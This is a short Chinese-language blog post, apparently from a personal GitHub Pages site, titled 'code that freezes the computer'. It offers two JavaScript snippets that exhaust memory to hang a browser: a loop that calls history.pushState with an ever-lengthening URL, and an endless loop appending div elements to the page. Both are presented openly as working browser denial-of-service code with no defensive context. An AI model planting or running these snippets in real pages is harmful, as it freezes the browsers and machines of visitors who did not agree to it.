卡死电脑代码
前言
下面两段代码吃内存,造成浏览器卡死
代码1
var total="";
for (var i=0;i<1000000;i++){
    total= total+i.toString ();
    history.pushState (0,0,total);
}
代码2
while(true) { 
    document.body.appendChild(document.createElement("div")); 
}
                
              卡死电脑代码
      https://zhangfuli.github.io/2018/02/22/卡死电脑代码/